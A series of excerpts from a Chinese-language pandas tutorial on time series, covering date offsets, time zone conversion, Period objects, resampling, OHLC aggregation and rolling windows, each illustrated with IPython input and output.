    {"text": "因此，如果频率已知，则可以将其传 给shift以便实现对时间戳进行位移而不是对数据进行简单位移： In [95]: ts.shift(2, freq='M') Out[95]: 2000-03-31 -0.066748 2000-04-30 0.838639 2000-05-31 -0.117388 2000-06-30 -0.517795 Freq: M, dtype: float64 这里还可以使用其他频率，于是你就能非常灵活地对数据进行超前和滞后处理了： In [96]: ts.shift(3, freq='D') Out[96]: 2000-02-03 -0.066748 2000-03-03 0.838639 2000-04-03 -0.117388 2000-05-03 -0.517795 dtype: float64 336 In [97]: ts.shift(1, freq='90T') Out[97]: 2000-01-31 01:30:00 -0.066748 2000-02-29 01:30:00 0.838639 2000-03-31 01:30:00 -0.117388 2000-04-30 01:30:00 -0.517795 Freq: M, dtype: float64 通过偏移量对日期进行位移 pandas的日期偏移量还可以用在datetime或Timestamp对象上： In [98]: from pandas.tseries.offsets import Day, MonthEnd In [99]: now = datetime(2011, 11, 17) In [100]: now + 3 * Day() Out[100]: Timestamp('2011-11-20 00:00:00') 如果加的是锚点偏移量（比如MonthEnd），第一次增量会将原日期向前滚动到符合频率规则的下 一个日期： In [101]: now + MonthEnd() Out[101]: Timestamp('2011-11-30 00:00:00') In [102]: now + MonthEnd(2) Out[102]: Timestamp('2011-12-31 00:00:00') 通过锚点偏移量的rollforward和rollback方法，可明确地将日期向前或向后“滚动”： In [103]: offset = MonthEnd() In [104]: offset.rollforward(now) Out[104]: Timestamp('2011-11-30 00:00:00') In [105]: offset.rollback(now) Out[105]: Timestamp('2011-10-31 00:00:00') 日期偏移量还有一个巧妙的用法，即结合groupby使用这两个“滚动”方法： In [106]: ts = pd.Series(np.random.randn(20), .....: index=pd.date_range('1/15/2000', periods=20, freq='4d')) 337 In [107]: ts Out[107]: 2000-01-15 -0.116696 2000-01-19 2.389645 2000-01-23 -0.932454 2000-01-27 -0.229331 2000-01-31 -1.140330 2000-02-04 0.439920 2000-02-08 -0.823758 2000-02-12 -0.520930 2000-02-16 0.350282 2000-02-20 0.204395 2000-02-24 0.133445 2000-02-28 0.327905 2000-03-03 0.072153 2000-03-07 0.131678 2000-03-11 -1.297459 2000-03-15 0.997747 2000-03-19 0.870955 2000-03-23 -0.991253 2000-03-27 0.151699 2000-03-31 1.266151 Freq: 4D, dtype: float64 In [108]: ts.groupby(offset.rollforward).mean() Out[108]: 2000-01-31 -0.005833 2000-02-29 0.015894 2000-03-31 0.150209 dtype: float64 当然，更简单、更快速地实现该功能的办法是使用resample（11.6小节将对此进行详细介绍）： In [109]: ts.resample('M').mean() Out[109]: 2000-01-31 -0.005833 2000-02-29 0.015894 2000-03-31 0.150209 Freq: M, dtype: float64 11.4 时区处理 时间序列处理工作中最让人不爽的就是对时区的处理。"},
    {"text": "时区名可以在shell中看到，也可以通过文档查看： In [110]: import pytz In [111]: pytz.common_timezones[-5:] Out[111]: ['US/Eastern', 'US/Hawaii', 'US/Mountain', 'US/Pacific', 'UTC'] 要从pytz中获取时区对象，使用pytz.timezone即可： In [112]: tz = pytz.timezone('America/New_York') In [113]: tz Out[113]: <DstTzInfo 'America/New_York' LMT-1 day, 19:04:00 STD> pandas中的方法既可以接受时区名也可以接受这些对象。"},
    {"text": "看看下面这个时间序列： In [114]: rng = pd.date_range('3/9/2012 9:30', periods=6, freq='D') In [115]: ts = pd.Series(np.random.randn(len(rng)), index=rng) In [116]: ts Out[116]: 2012-03-09 09:30:00 -0.202469 2012-03-10 09:30:00 0.050718 2012-03-11 09:30:00 0.639869 2012-03-12 09:30:00 0.597594 2012-03-13 09:30:00 -0.797246 2012-03-14 09:30:00 0.472879 Freq: D, dtype: float64 其索引的tz字段为None： In [117]: print(ts.index.tz) 339 None 可以用时区集生成日期范围： In [118]: pd.date_range('3/9/2012 9:30', periods=10, freq='D', tz='UTC') Out[118]: DatetimeIndex(['2012-03-09 09:30:00+00:00', '2012-03-10 09:30:00+00:00', '2012-03-11 09:30:00+00:00', '2012-03-12 09:30:00+00:00', '2012-03-13 09:30:00+00:00', '2012-03-14 09:30:00+00:00', '2012-03-15 09:30:00+00:00', '2012-03-16 09:30:00+00:00', '2012-03-17 09:30:00+00:00', '2012-03-18 09:30:00+00:00'], dtype='datetime64[ns, UTC]', freq='D') 从单纯到本地化的转换是通过tz_localize方法处理的： In [119]: ts Out[119]: 2012-03-09 09:30:00 -0.202469 2012-03-10 09:30:00 0.050718 2012-03-11 09:30:00 0.639869 2012-03-12 09:30:00 0.597594 2012-03-13 09:30:00 -0.797246 2012-03-14 09:30:00 0.472879 Freq: D, dtype: float64 In [120]: ts_utc = ts.tz_localize('UTC') In [121]: ts_utc Out[121]: 2012-03-09 09:30:00+00:00 -0.202469 2012-03-10 09:30:00+00:00 0.050718 2012-03-11 09:30:00+00:00 0.639869 2012-03-12 09:30:00+00:00 0.597594 2012-03-13 09:30:00+00:00 -0.797246 2012-03-14 09:30:00+00:00 0.472879 Freq: D, dtype: float64 In [122]: ts_utc.index Out[122]: DatetimeIndex(['2012-03-09 09:30:00+00:00', '2012-03-10 09:30:00+00:00', '2012-03-11 09:30:00+00:00', '2012-03-12 09:30:00+00:00', '2012-03-13 09:30:00+00:00', '2012-03-14 09:30:00+00:00'], dtype='datetime64[ns, UTC]', freq='D') 一旦时间序列被本地化到某个特定时区，就可以用tz_convert将其转换到别的时区了： 340 In [123]: ts_utc.tz_convert('America/New_York') Out[123]: 2012-03-09 04:30:00-05:00 -0.202469 2012-03-10 04:30:00-05:00 0.050718 2012-03-11 05:30:00-04:00 0.639869 2012-03-12 05:30:00-04:00 0.597594 2012-03-13 05:30:00-04:00 -0.797246 2012-03-14 05:30:00-04:00 0.472879 Freq: D, dtype: float64 对于上面这种时间序列（它跨越了美国东部时区的夏令时转变期），我们可以将其本地化到EST， 然后转换为UTC或柏林时间： In [124]: ts_eastern = ts.tz_localize('America/New_York') In [125]: ts_eastern.tz_convert('UTC') Out[125]: 2012-03-09 14:30:00+00:00 -0.202469 2012-03-10 14:30:00+00:00 0.050718 2012-03-11 13:30:00+00:00 0.639869 2012-03-12 13:30:00+00:00 0.597594 2012-03-13 13:30:00+00:00 -0.797246 2012-03-14 13:30:00+00:00 0.472879 Freq: D, dtype: float64 In [126]: ts_eastern.tz_convert('Europe/Berlin') Out[126]: 2012-03-09 15:30:00+01:00 -0.202469 2012-03-10 15:30:00+01:00 0.050718 2012-03-11 14:30:00+01:00 0.639869 2012-03-12 14:30:00+01:00 0.597594 2012-03-13 14:30:00+01:00 -0.797246 2012-03-14 14:30:00+01:00 0.472879 Freq: D, dtype: float64 tz_localize和tz_convert也是DatetimeIndex的实例方法： In [127]: ts.index.tz_localize('Asia/Shanghai') Out[127]: DatetimeIndex(['2012-03-09 09:30:00+08:00', '2012-03-10 09:30:00+08:00', '2012-03-11 09:30:00+08:00', '2012-03-12 09:30:00+08:00', '2012-03-13 09:30:00+08:00', '2012-03-14 09:30:00+08:00'], dtype='datetime64[ns, Asia/Shanghai]', freq='D') 注意：对单纯时间戳的本地化操作还会检查夏令时转变期附近容易混淆或不存在的时间。"},
    {"text": "341 操作时区意识型 Timestamp 对象 跟时间序列和日期范围差不多，独立的Timestamp对象也能被从单纯型（naive）本地化为时区意 识型（time zone-aware），并从一个时区转换到另一个时区： In [128]: stamp = pd.Timestamp('2011-03-12 04:00') In [129]: stamp_utc = stamp.tz_localize('utc') In [130]: stamp_utc.tz_convert('America/New_York') Out[130]: Timestamp('2011-03-11 23:00:00-0500', tz='America/New_York') 在创建Timestamp时，还可以传入一个时区信息： In [131]: stamp_moscow = pd.Timestamp('2011-03-12 04:00', tz='Europe/Moscow') In [132]: stamp_moscow Out[132]: Timestamp('2011-03-12 04:00:00+0300', tz='Europe/Moscow') 时区意识型Timestamp对象在内部保存了一个UTC时间戳值（自UNIX纪元（1970年1月1日）算起 的纳秒数）。 这个UTC值在时区转换过程中是不会发生变化的： In [133]: stamp_utc.value Out[133]: 1299902400000000000 In [134]: stamp_utc.tz_convert('America/New_York').value Out[134]: 1299902400000000000 当使用pandas的DateOffset对象执行时间算术运算时，运算过程会自动关注是否存在夏令时转变 期。"},
    {"text": "首先，来看夏令时转变前的30分钟： In [135]: from pandas.tseries.offsets import Hour In [136]: stamp = pd.Timestamp('2012-03-12 01:30', tz='US/Eastern') In [137]: stamp Out[137]: Timestamp('2012-03-12 01:30:00-0400', tz='US/Eastern') In [138]: stamp + Hour() Out[138]: Timestamp('2012-03-12 02:30:00-0400', tz='US/Eastern') 然后，夏令时转变前90分钟： In [139]: stamp = pd.Timestamp('2012-11-04 00:30', tz='US/Eastern') 342 In [140]: stamp Out[140]: Timestamp('2012-11-04 00:30:00-0400', tz='US/Eastern') In [141]: stamp + 2 * Hour() Out[141]: Timestamp('2012-11-04 01:30:00-0500', tz='US/Eastern') 不同时区之间的运算 如果两个时间序列的时区不同，在将它们合并到一起时，最终结果就会是UTC。 由于时间戳其实 是以UTC存储的，所以这是一个很简单的运算，并不需要发生任何转换： In [142]: rng = pd.date_range('3/7/2012 9:30', periods=10, freq='B') In [143]: ts = pd.Series(np.random.randn(len(rng)), index=rng) In [144]: ts Out[144]: 2012-03-07 09:30:00 0.522356 2012-03-08 09:30:00 -0.546348 2012-03-09 09:30:00 -0.733537 2012-03-12 09:30:00 1.302736 2012-03-13 09:30:00 0.022199 2012-03-14 09:30:00 0.364287 2012-03-15 09:30:00 -0.922839 2012-03-16 09:30:00 0.312656 2012-03-19 09:30:00 -1.128497 2012-03-20 09:30:00 -0.333488 Freq: B, dtype: float64 In [145]: ts1 = ts[:7].tz_localize('Europe/London') In [146]: ts2 = ts1[2:].tz_convert('Europe/Moscow') In [147]: result = ts1 + ts2 In [148]: result.index Out[148]: DatetimeIndex(['2012-03-07 09:30:00+00:00', '2012-03-08 09:30:00+00:00', '2012-03-09 09:30:00+00:00', '2012-03-12 09:30:00+00:00', '2012-03-13 09:30:00+00:00', '2012-03-14 09:30:00+00:00', '2012-03-15 09:30:00+00:00'], dtype='datetime64[ns, UTC]', freq='B') 11.5 时期及其算术运算 343 时期（period）表示的是时间区间，比如数日、数月、数季、数年等。"},
    {"text": "Period类所表示的就是这种 数据类型，其构造函数需要用到一个字符串或整数，以及表11-4中的频率： In [149]: p = pd.Period(2007, freq='A-DEC') In [150]: p Out[150]: Period('2007', 'A-DEC') 这里，这个Period对象表示的是从2007年1月1日到2007年12月31日之间的整段时间。 只需对 Period对象加上或减去一个整数即可达到根据其频率进行位移的效果： In [151]: p + 5 Out[151]: Period('2012', 'A-DEC') In [152]: p - 2 Out[152]: Period('2005', 'A-DEC') 如果两个Period对象拥有相同的频率，则它们的差就是它们之间的单位数量： In [153]: pd.Period('2014', freq='A-DEC') - p Out[153]: 7 period_range函数可用于创建规则的时期范围： In [154]: rng = pd.period_range('2000-01-01', '2000-06-30', freq='M') In [155]: rng Out[155]: PeriodIndex(['2000-01', '2000-02', '2000-03', '2000-04', '2000-05', '20 00-06'], dtype='period[M]', freq='M') PeriodIndex类保存了一组Period，它可以在任何pandas数据结构中被用作轴索引： In [156]: pd.Series(np.random.randn(6), index=rng) Out[156]: 2000-01 -0.514551 2000-02 -0.559782 2000-03 -0.783408 2000-04 -1.797685 2000-05 -0.172670 2000-06 0.680215 Freq: M, dtype: float64 如果你有一个字符串数组，你也可以使用PeriodIndex类： 344 In [157]: values = ['2001Q3', '2002Q2', '2003Q1'] In [158]: index = pd.PeriodIndex(values, freq='Q-DEC') In [159]: index Out[159]: PeriodIndex(['2001Q3', '2002Q2', '2003Q1'], dtype='period[Q-DEC]', freq ='Q-DEC') 时期的频率转换 Period和PeriodIndex对象都可以通过其asfreq方法被转换成别的频率。"},
    {"text": "该任务非常简单： In [160]: p = pd.Period('2007', freq='A-DEC') In [161]: p Out[161]: Period('2007', 'A-DEC') In [162]: p.asfreq('M', how='start') Out[162]: Period('2007-01', 'M') In [163]: p.asfreq('M', how='end') Out[163]: Period('2007-12', 'M') 你可以将Period('2007','A-DEC')看做一个被划分为多个月度时期的时间段中的游标。"},
    {"text": "对于一个不以12月结束的财政年度，月度子时期的归属情况就不一样了： In [164]: p = pd.Period('2007', freq='A-JUN') In [165]: p Out[165]: Period('2007', 'A-JUN') In [166]: p.asfreq('M', 'start') Out[166]: Period('2006-07', 'M') In [167]: p.asfreq('M', 'end') Out[167]: Period('2007-06', 'M') 345 在将高频率转换为低频率时，超时期（superperiod）是由子时期（subperiod）所属的位置决定 的。 例如，在A-JUN频率中，月份“2007年8月”实际上是属于周期“2008年”的： In [168]: p = pd.Period('Aug-2007', 'M') In [169]: p.asfreq('A-JUN') Out[169]: Period('2008', 'A-JUN') 完整的PeriodIndex或TimeSeries的频率转换方式也是如此： In [170]: rng = pd.period_range('2006', '2009', freq='A-DEC') In [171]: ts = pd.Series(np.random.randn(len(rng)), index=rng) In [172]: ts Out[172]: 2006 1.607578 2007 0.200381 2008 -0.834068 2009 -0.302988 Freq: A-DEC, dtype: float64 In [173]: ts.asfreq('M', how='start') Out[173]: 2006-01 1.607578 2007-01 0.200381 2008-01 -0.834068 2009-01 -0.302988 Freq: M, dtype: float64 这里，根据年度时期的第一个月，每年的时期被取代为每月的时期。 如果我们想要每年的最后一个 工作日，我们可以使用“B”频率，并指明想要该时期的末尾： In [174]: ts.asfreq('B', how='end') 346 Out[174]: 2006-12-29 1.607578 2007-12-31 0.200381 2008-12-31 -0.834068 2009-12-31 -0.302988 Freq: B, dtype: float64 按季度计算的时期频率 季度型数据在会计、金融等领域中很常见。"},
    {"text": "pandas支持12种可能的季度型频率，即Q-JAN到Q-DEC： In [175]: p = pd.Period('2012Q4', freq='Q-JAN') In [176]: p Out[176]: Period('2012Q4', 'Q-JAN') 在以1月结束的财年中，2012Q4是从11月到1月（将其转换为日型频率就明白了）。"},
    {"text": "图11-2对此进 行了说明： In [177]: p.asfreq('D', 'start') Out[177]: Period('2011-11-01', 'D') In [178]: p.asfreq('D', 'end') Out[178]: Period('2012-01-31', 'D') 因此，Period之间的算术运算会非常简单。"},
    {"text": "例如，要获取该季度倒数第二个工作日下午4点的时间 戳，你可以这样： In [179]: p4pm = (p.asfreq('B', 'e') - 1).asfreq('T', 's') + 16 * 60 In [180]: p4pm Out[180]: Period('2012-01-30 16:00', 'T') 347 In [181]: p4pm.to_timestamp() Out[181]: Timestamp('2012-01-30 16:00:00') period_range可用于生成季度型范围。 季度型范围的算术运算也跟上面是一样的： In [182]: rng = pd.period_range('2011Q3', '2012Q4', freq='Q-JAN') In [183]: ts = pd.Series(np.arange(len(rng)), index=rng) In [184]: ts Out[184]: 2011Q3 0 2011Q4 1 2012Q1 2 2012Q2 3 2012Q3 4 2012Q4 5 Freq: Q-JAN, dtype: int64 In [185]: new_rng = (rng.asfreq('B', 'e') - 1).asfreq('T', 's') + 16 * 60 In [186]: ts.index = new_rng.to_timestamp() In [187]: ts Out[187]: 2010-10-28 16:00:00 0 2011-01-28 16:00:00 1 2011-04-28 16:00:00 2 2011-07-28 16:00:00 3 2011-10-28 16:00:00 4 2012-01-30 16:00:00 5 dtype: int64 将 Timestamp 转换为 Period （及其反向过程） 通过使用to_period方法，可以将由时间戳索引的Series和DataFrame对象转换为以时期索引： In [188]: rng = pd.date_range('2000-01-01', periods=3, freq='M') In [189]: ts = pd.Series(np.random.randn(3), index=rng) In [190]: ts Out[190]: 2000-01-31 1.663261 2000-02-29 -0.996206 348 2000-03-31 1.521760 Freq: M, dtype: float64 In [191]: pts = ts.to_period() In [192]: pts Out[192]: 2000-01 1.663261 2000-02 -0.996206 2000-03 1.521760 Freq: M, dtype: float64 由于时期指的是非重叠时间区间，因此对于给定的频率，一个时间戳只能属于一个时期。"},
    {"text": "结果中允许存在重 复时期： In [193]: rng = pd.date_range('1/29/2000', periods=6, freq='D') In [194]: ts2 = pd.Series(np.random.randn(6), index=rng) In [195]: ts2 Out[195]: 2000-01-29 0.244175 2000-01-30 0.423331 2000-01-31 -0.654040 2000-02-01 2.089154 2000-02-02 -0.060220 2000-02-03 -0.167933 Freq: D, dtype: float64 In [196]: ts2.to_period('M') Out[196]: 2000-01 0.244175 2000-01 0.423331 2000-01 -0.654040 2000-02 2.089154 2000-02 -0.060220 2000-02 -0.167933 Freq: M, dtype: float64 要转换回时间戳，使用to_timestamp即可： In [197]: pts = ts2.to_period() In [198]: pts Out[198]: 2000-01-29 0.244175 349 2000-01-30 0.423331 2000-01-31 -0.654040 2000-02-01 2.089154 2000-02-02 -0.060220 2000-02-03 -0.167933 Freq: D, dtype: float64 In [199]: pts.to_timestamp(how='end') Out[199]: 2000-01-29 0.244175 2000-01-30 0.423331 2000-01-31 -0.654040 2000-02-01 2.089154 2000-02-02 -0.060220 2000-02-03 -0.167933 Freq: D, dtype: float64 通过数组创建 PeriodIndex 固定频率的数据集通常会将时间信息分开存放在多个列中。 例如，在下面这个宏观经济数据集中， 年度和季度就分别存放在不同的列中： In [200]: data = pd.read_csv('examples/macrodata.csv') In [201]: data.head(5) Out[201]: year quarter realgdp realcons realinv realgovt realdpi cpi \\ 0 1959.0 1.0 2710.349 1707.4 286.898 470.045 1886.9 28.98 1 1959.0 2.0 2778.801 1733.7 310.859 481.301 1919.7 29.15 2 1959.0 3.0 2775.488 1751.8 289.226 491.260 1916.4 29.35 3 1959.0 4.0 2785.204 1753.7 299.356 484.052 1931.3 29.37 4 1960.0 1.0 2847.699 1770.5 331.722 462.199 1955.5 29.54 m1 tbilrate unemp pop infl realint 0 139.7 2.82 5.8 177.146 0.00 0.00 1 141.7 3.08 5.1 177.830 2.34 0.74 2 140.5 3.82 5.3 178.657 2.74 1.09 3 140.0 4.33 5.6 179.386 0.27 4.06 4 139.6 3.50 5.2 180.007 2.31 1.19 In [202]: data.year Out[202]: 0 1959.0 1 1959.0 2 1959.0 3 1959.0 4 1960.0 5 1960.0 350 6 1960.0 7 1960.0 8 1961.0 9 1961.0 ... 193 2007.0 194 2007.0 195 2007.0 196 2008.0 197 2008.0 198 2008.0 199 2008.0 200 2009.0 201 2009.0 202 2009.0 Name: year, Length: 203, dtype: float64 In [203]: data.quarter Out[203]: 0 1.0 1 2.0 2 3.0 3 4.0 4 1.0 5 2.0 6 3.0 7 4.0 8 1.0 9 2.0 ... 193 2.0 194 3.0 195 4.0 196 1.0 197 2.0 198 3.0 199 4.0 200 1.0 201 2.0 202 3.0 Name: quarter, Length: 203, dtype: float64 通过将这些数组以及一个频率传入PeriodIndex，就可以将它们合并成DataFrame的一个索引： In [204]: index = pd.PeriodIndex(year=data.year, quarter=data.quarter, .....: freq='Q-DEC') In [205]: index 351 Out[205]: PeriodIndex(['1959Q1', '1959Q2', '1959Q3', '1959Q4', '1960Q1', '1960Q2', '1960Q3', '1960Q4', '1961Q1', '1961Q2', ... '2007Q2', '2007Q3', '2007Q4', '2008Q1', '2008Q2', '2008Q3', '2008Q4', '2009Q1', '2009Q2', '2009Q3'], dtype='period[Q-DEC]', length=203, freq='Q-DEC') In [206]: data.index = index In [207]: data.infl Out[207]: 1959Q1 0.00 1959Q2 2.34 1959Q3 2.74 1959Q4 0.27 1960Q1 2.31 1960Q2 0.14 1960Q3 2.70 1960Q4 1.21 1961Q1 -0.40 1961Q2 1.47 ... 2007Q2 2.75 2007Q3 3.45 2007Q4 6.38 2008Q1 2.82 2008Q2 8.53 2008Q3 -3.16 2008Q4 -8.79 2009Q1 0.94 2009Q2 3.37 2009Q3 3.56 Freq: Q-DEC, Name: infl, Length: 203, dtype: float64 11.6 重采样及频率转换 重采样（resampling）指的是将时间序列从一个频率转换到另一个频率的处理过程。"},
    {"text": "resample有一个类似 于groupby的API，调用resample可以分组数据，然后会调用一个聚合函数： In [208]: rng = pd.date_range('2000-01-01', periods=100, freq='D') 352 In [209]: ts = pd.Series(np.random.randn(len(rng)), index=rng) In [210]: ts Out[210]: 2000-01-01 0.631634 2000-01-02 -1.594313 2000-01-03 -1.519937 2000-01-04 1.108752 2000-01-05 1.255853 2000-01-06 -0.024330 2000-01-07 -2.047939 2000-01-08 -0.272657 2000-01-09 -1.692615 2000-01-10 1.423830 ... 2000-03-31 -0.007852 2000-04-01 -1.638806 2000-04-02 1.401227 2000-04-03 1.758539 2000-04-04 0.628932 2000-04-05 -0.423776 2000-04-06 0.789740 2000-04-07 0.937568 2000-04-08 -2.253294 2000-04-09 -1.772919 Freq: D, Length: 100, dtype: float64 In [211]: ts.resample('M').mean() Out[211]: 2000-01-31 -0.165893 2000-02-29 0.078606 2000-03-31 0.223811 2000-04-30 -0.063643 Freq: M, dtype: float64 In [212]: ts.resample('M', kind='period').mean() Out[212]: 2000-01 -0.165893 2000-02 0.078606 2000-03 0.223811 2000-04 -0.063643 Freq: M, dtype: float64 resample是一个灵活高效的方法，可用于处理非常大的时间序列。"},
    {"text": "为了说明，我们来看一些“1分钟”数据： In [213]: rng = pd.date_range('2000-01-01', periods=12, freq='T') In [214]: ts = pd.Series(np.arange(12), index=rng) In [215]: ts Out[215]: 2000-01-01 00:00:00 0 2000-01-01 00:01:00 1 2000-01-01 00:02:00 2 2000-01-01 00:03:00 3 2000-01-01 00:04:00 4 2000-01-01 00:05:00 5 2000-01-01 00:06:00 6 354 2000-01-01 00:07:00 7 2000-01-01 00:08:00 8 2000-01-01 00:09:00 9 2000-01-01 00:10:00 10 2000-01-01 00:11:00 11 Freq: T, dtype: int64 假设你想要通过求和的方式将这些数据聚合到“5分钟”块中： In [216]: ts.resample('5min', closed='right').sum() Out[216]: 1999-12-31 23:55:00 0 2000-01-01 00:00:00 15 2000-01-01 00:05:00 40 2000-01-01 00:10:00 11 Freq: 5T, dtype: int64 传入的频率将会以“5分钟”的增量定义面元边界。"},
    {"text": "传入closed='left'会让区间以左边界闭合： In [217]: ts.resample('5min', closed='right').sum() Out[217]: 1999-12-31 23:55:00 0 2000-01-01 00:00:00 15 2000-01-01 00:05:00 40 2000-01-01 00:10:00 11 Freq: 5T, dtype: int64 如你所见，最终的时间序列是以各面元右边界的时间戳进行标记的。 传入label='right'即可用面元 的邮编界对其进行标记： In [218]: ts.resample('5min', closed='right', label='right').sum() Out[218]: 2000-01-01 00:00:00 0 2000-01-01 00:05:00 15 2000-01-01 00:10:00 40 2000-01-01 00:15:00 11 Freq: 5T, dtype: int64 图11-3说明了“1分钟”数据被转换为“5分钟”数据的处理过程。"},
    {"text": "只需通过loffset设置一个字符串或日期偏移量即可实现这个目的： In [219]: ts.resample('5min', closed='right', .....: label='right', loffset='-1s').sum() Out[219]: 1999-12-31 23:59:59 0 2000-01-01 00:04:59 15 In [219]: ts.resample('5min', closed='right', .....: label='right', loffset='-1s').sum() Out[219]: 1999-12-31 23:59:59 0 2000-01-01 00:04:59 15 此外，也可以通过调用结果对象的shift方法来实现该目的，这样就不需要设置loffset了。"},
    {"text": "OHLC 重采样 金融领域中有一种无所不在的时间序列聚合方式，即计算各面元的四个值：第一个值（open，开 盘）、最后一个值（close，收盘）、最大值（high，最高）以及最小值（low，最低）。"},
    {"text": "整个过程很高效，只需一次扫描即可计 算出结果： In [220]: ts.resample('5min').ohlc() Out[220]: open high low close 2000-01-01 00:00:00 0 4 0 4 2000-01-01 00:05:00 5 9 5 9 2000-01-01 00:10:00 10 11 10 11 升采样和插值 356 在将数据从低频率转换到高频率时，就不需要聚合了。"},
    {"text": "我们来看一个带有一些周型数据的 DataFrame： In [221]: frame = pd.DataFrame(np.random.randn(2, 4), .....: index=pd.date_range('1/1/2000', periods=2, .....: freq='W-WED'), .....: columns=['Colorado', 'Texas', 'New York', 'Ohio']) In [222]: frame Out[222]: Colorado Texas New York Ohio 2000-01-05 -0.896431 0.677263 0.036503 0.087102 2000-01-12 -0.046662 0.927238 0.482284 -0.867130 当你对这个数据进行聚合，每组只有一个值，这样就会引入缺失值。"},
    {"text": "我们使用asfreq方法转换成高 频，不经过聚合： In [223]: df_daily = frame.resample('D').asfreq() In [224]: df_daily Out[224]: Colorado Texas New York Ohio 2000-01-05 -0.896431 0.677263 0.036503 0.087102 2000-01-06 NaN NaN NaN NaN 2000-01-07 NaN NaN NaN NaN 2000-01-08 NaN NaN NaN NaN 2000-01-09 NaN NaN NaN NaN 2000-01-10 NaN NaN NaN NaN 2000-01-11 NaN NaN NaN NaN 2000-01-12 -0.046662 0.927238 0.482284 -0.867130 假设你想要用前面的周型值填充“非星期三”。"},
    {"text": "resampling的填充和插值方式跟fillna和reindex的一 样： In [225]: frame.resample('D').ffill() Out[225]: Colorado Texas New York Ohio 2000-01-05 -0.896431 0.677263 0.036503 0.087102 2000-01-06 -0.896431 0.677263 0.036503 0.087102 2000-01-07 -0.896431 0.677263 0.036503 0.087102 2000-01-08 -0.896431 0.677263 0.036503 0.087102 2000-01-09 -0.896431 0.677263 0.036503 0.087102 2000-01-10 -0.896431 0.677263 0.036503 0.087102 2000-01-11 -0.896431 0.677263 0.036503 0.087102 2000-01-12 -0.046662 0.927238 0.482284 -0.867130 357 同样，这里也可以只填充指定的时期数（目的是限制前面的观测值的持续使用距离）： In [226]: frame.resample('D').ffill(limit=2) Out[226]: Colorado Texas New York Ohio 2000-01-05 -0.896431 0.677263 0.036503 0.087102 2000-01-06 -0.896431 0.677263 0.036503 0.087102 2000-01-07 -0.896431 0.677263 0.036503 0.087102 2000-01-08 NaN NaN NaN NaN 2000-01-09 NaN NaN NaN NaN 2000-01-10 NaN NaN NaN NaN 2000-01-11 NaN NaN NaN NaN 2000-01-12 -0.046662 0.927238 0.482284 -0.867130 注意，新的日期索引完全没必要跟旧的重叠： In [227]: frame.resample('W-THU').ffill() Out[227]: Colorado Texas New York Ohio 2000-01-06 -0.896431 0.677263 0.036503 0.087102 2000-01-13 -0.046662 0.927238 0.482284 -0.867130 通过时期进行重采样 对那些使用时期索引的数据进行重采样与时间戳很像： In [228]: frame = pd.DataFrame(np.random.randn(24, 4), .....: index=pd.period_range('1-2000', '12-2001', .....: freq='M'), .....: columns=['Colorado', 'Texas', 'New York', 'Ohio']) In [229]: frame[:5] Out[229]: Colorado Texas New York Ohio 2000-01 0.493841 -0.155434 1.397286 1.507055 2000-02 -1.179442 0.443171 1.395676 -0.529658 2000-03 0.787358 0.248845 0.743239 1.267746 2000-04 1.302395 -0.272154 -0.051532 -0.467740 2000-05 -1.040816 0.426419 0.312945 -1.115689 In [230]: annual_frame = frame.resample('A-DEC').mean() In [231]: annual_frame Out[231]: Colorado Texas New York Ohio 2000 0.556703 0.016631 0.111873 -0.027445 358 2001 0.046303 0.163344 0.251503 -0.157276 升采样要稍微麻烦一些，因为你必须决定在新频率中各区间的哪端用于放置原来的值，就像asfreq 方法那样。 convention参数默认为'start'，也可设置为'end'： # Q-DEC: Quarterly, year ending in December In [232]: annual_frame.resample('Q-DEC').ffill() Out[232]: Colorado Texas New York Ohio 2000Q1 0.556703 0.016631 0.111873 -0.027445 2000Q2 0.556703 0.016631 0.111873 -0.027445 2000Q3 0.556703 0.016631 0.111873 -0.027445 2000Q4 0.556703 0.016631 0.111873 -0.027445 2001Q1 0.046303 0.163344 0.251503 -0.157276 2001Q2 0.046303 0.163344 0.251503 -0.157276 2001Q3 0.046303 0.163344 0.251503 -0.157276 2001Q4 0.046303 0.163344 0.251503 -0.157276 In [233]: annual_frame.resample('Q-DEC', convention='end').ffill() Out[233]: Colorado Texas New York Ohio 2000Q4 0.556703 0.016631 0.111873 -0.027445 2001Q1 0.556703 0.016631 0.111873 -0.027445 2001Q2 0.556703 0.016631 0.111873 -0.027445 2001Q3 0.556703 0.016631 0.111873 -0.027445 2001Q4 0.046303 0.163344 0.251503 -0.157276 由于时期指的是时间区间，所以升采样和降采样的规则就比较严格： 在降采样中，目标频率必须是源频率的子时期（subperiod）。"},
    {"text": "例如，由Q- MAR定义的时间区间只能升采样为A-MAR、A-JUN、A-SEP、A-DEC等： In [234]: annual_frame.resample('Q-MAR').ffill() Out[234]: Colorado Texas New York Ohio 2000Q4 0.556703 0.016631 0.111873 -0.027445 2001Q1 0.556703 0.016631 0.111873 -0.027445 2001Q2 0.556703 0.016631 0.111873 -0.027445 2001Q3 0.556703 0.016631 0.111873 -0.027445 2001Q4 0.046303 0.163344 0.251503 -0.157276 2002Q1 0.046303 0.163344 0.251503 -0.157276 2002Q2 0.046303 0.163344 0.251503 -0.157276 2002Q3 0.046303 0.163344 0.251503 -0.157276 359 11.7 移动窗口函数 在移动窗口（可以带有指数衰减权数）上计算的各种统计函数也是一类常见于时间序列的数组变 换。"},
    {"text": "开始之前，我们加载一些时间序列数据，将其重采样为工作日频率： In [235]: close_px_all = pd.read_csv('examples/stock_px_2.csv', .....: parse_dates=True, index_col=0) In [236]: close_px = close_px_all[['AAPL', 'MSFT', 'XOM']] In [237]: close_px = close_px.resample('B').ffill() 现在引入rolling运算符，它与resample和groupby很像。 可以在TimeSeries或DataFrame以及一个 window（表示期数，见图11-4）上调用它： In [238]: close_px.AAPL.plot() Out[238]: <matplotlib.axes._subplots.AxesSubplot at 0x7f2f2570cf98> In [239]: close_px.AAPL.rolling(250).mean().plot() 表达式rolling(250)与groupby很像，但不是对其进行分组，而是创建一个按照250天分组的滑动窗 口对象。"},
    {"text": "其实，在时间序列开始处尚不足窗口期的那些数据就是个特例（见图11-5）： In [241]: appl_std250 = close_px.AAPL.rolling(250, min_periods=10).std() In [242]: appl_std250[5:12] Out[242]: 2003-01-09 NaN 2003-01-10 NaN 2003-01-13 NaN 2003-01-14 NaN 2003-01-15 0.077496 2003-01-16 0.074760 2003-01-17 0.112368 Freq: B, Name: AAPL, dtype: float64 In [243]: appl_std250.plot() 要计算扩展窗口平均（expanding window mean），可以使用expanding而不是rolling。"},
